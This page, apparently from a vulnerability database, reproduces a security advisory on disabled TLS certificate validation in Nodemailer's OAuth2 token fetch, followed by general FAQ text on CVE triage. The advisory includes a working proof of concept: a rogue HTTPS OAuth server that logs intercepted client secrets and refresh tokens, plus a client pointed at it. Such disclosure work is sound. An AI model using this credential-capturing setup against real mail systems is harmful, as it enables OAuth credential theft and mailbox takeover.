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CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

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A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

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Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

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352,427

Total vulnerabilities in the database

Nodemailer: Improper TLS Certificate Validation in OAuth2 Token Fetch Enables Credential Interception — nodemailer

Improper Certificate Validation

Summary

Nodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js.

As a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation.

An attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture:

OAuth client_secret
refresh_token
access tokens

The issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint.

Details

Root Cause

The issue originates from the internal HTTPS fetch implementation used by Nodemailer for OAuth2 token retrieval and related outbound HTTPS requests.

Inside:

lib/fetch/index.js

the request options contain:

rejectUnauthorized: false

This disables TLS peer certificate verification globally for the internal HTTPS client unless explicitly overridden through optional TLS configuration.

As a result:

self-signed certificates are trusted
invalid CA chains are accepted
hostname validation is bypassed
attacker-controlled HTTPS endpoints are treated as trusted

This violates expected HTTPS security guarantees.

Vulnerable Flow

The vulnerable execution chain is:

OAuth2 Transport ↓ XOAuth2 token generation ↓ Internal HTTPS fetch client ↓ HTTPS request with rejectUnauthorized:false ↓ Attacker-controlled/self-signed endpoint trusted ↓ OAuth credentials transmitted

PoC

Environment

Mail API (app/server.js)

const express = require(&quot;express&quot;);
const nodemailer = require(&quot;nodemailer&quot;);
require(&quot;dotenv&quot;).config();

const app = express();

app.use(express.json());

const transporter = nodemailer.createTransport({
    host: process.env.SMTP_HOST,
    port: process.env.SMTP_PORT,
    secure: false,
    auth: {
        user: process.env.SMTP_USER,
        pass: process.env.SMTP_PASS
    }
});

app.post(&quot;/send&quot;, async (req, res) =&gt; {
    try {
        const { to, subject, text, html } = req.body;

        const info = await transporter.sendMail({
            from: `&quot;Mailer&quot; &lt;${process.env.SMTP_USER}&gt;`,
            to,
            subject,
            text,
            html
        });

        res.json({
            success: true,
            messageId: info.messageId
        });

    } catch (err) {
        console.error(err);
        res.status(500).json({
            success: false,
            error: err.message
        });
    }
});

app.listen(process.env.PORT, () =&gt; {
    console.log(`Mailer running on port ${process.env.PORT}`);
});

Malicious HTTPS OAuth Server (poc/evil-oauth.js)

const https = require(&#039;https&#039;);
const fs = require(&#039;fs&#039;);

https.createServer({
    key: fs.readFileSync(&#039;./key.pem&#039;),
    cert: fs.readFileSync(&#039;./cert.pem&#039;)
}, (req, res) =&gt; {

    console.log(&#039;\n==== REQUEST INTERCEPTED ====&#039;);
    console.log(req.method, req.url);

    let body = &#039;&#039;;

    req.on(&#039;data&#039;, chunk =&gt; {
        body += chunk;
    });

    req.on(&#039;end&#039;, () =&gt; {

        console.log(&#039;\nPOST BODY:&#039;);
        console.log(body);

        res.writeHead(200, {
            &#039;Content-Type&#039;: &#039;application/json&#039;
        });

        res.end(JSON.stringify({
            access_token: &#039;attacker_token&#039;,
            expires_in: 3600
        }));
    });

}).listen(8443, () =&gt; {
    console.log(&#039;Malicious HTTPS OAuth server listening on 8443&#039;);
});

Nodemailer OAuth2 Test (test.js)

const nodemailer = require(&#039;./&#039;);

const transporter = nodemailer.createTransport({
    service: &#039;gmail&#039;,

    auth: {
        type: &#039;OAuth2&#039;,

        user: &#039;[email protected]&#039;,

        clientId: &#039;CLIENT_ID_REDACTED&#039;,
        clientSecret: &#039;CLIENT_SECRET_REDACTED&#039;,

        refreshToken: &#039;REFRESH_TOKEN_REDACTED&#039;,

        accessUrl: &#039;https://localhost:8443/token&#039;
    }
});

transporter.sendMail({
    from: &#039;[email protected]&#039;,
    to: &#039;[email protected]&#039;,
    subject: &#039;PoC&#039;,
    text: &#039;test&#039;

}, (err, info) =&gt; {

    console.log(&#039;\n==== NODEMAILER RESULT ====&#039;);

    if (err) {
        console.error(err);
    } else {
        console.log(info);
    }
});

Steps to Reproduce

Start malicious HTTPS OAuth server:
node poc/evil-oauth.js
Run Nodemailer OAuth2 test:
node test.js
Observe intercepted OAuth2 request body on the malicious HTTPS server.

PIC <img width="1919" height="1029" alt="image" src="https://github.com/user-attachments/assets/fdeafeb4-c0c5-49f8-beeb-e7f945be0516" />

Impact

OAuth credential theft
unauthorized email access
persistent token abuse
unauthorized mail sending
mailbox compromise
interception/tampering of OAuth responses

The issue effectively downgrades HTTPS security protections for sensitive OAuth credential exchanges.

Published: Jun 15, 2026
Updated: Jun 16, 2026
GHSA: GHSA-r7g4-qg5f-qqm2
Severity: Medium
Exploit:
CISA KEV:

CVSS v3:

Severity: Medium
Score: 6.5
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

CWEs:

CWE-295

OWASP TOP 10:

A3 - Sensitive Data Exposure

Affected Software
References

Software	From	Fixed in
nodemailer	-	8.0.8

https://github.com/nodemailer/nodemailer/security/advisories/GHSA-r7g4-qg5f-qqm2

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.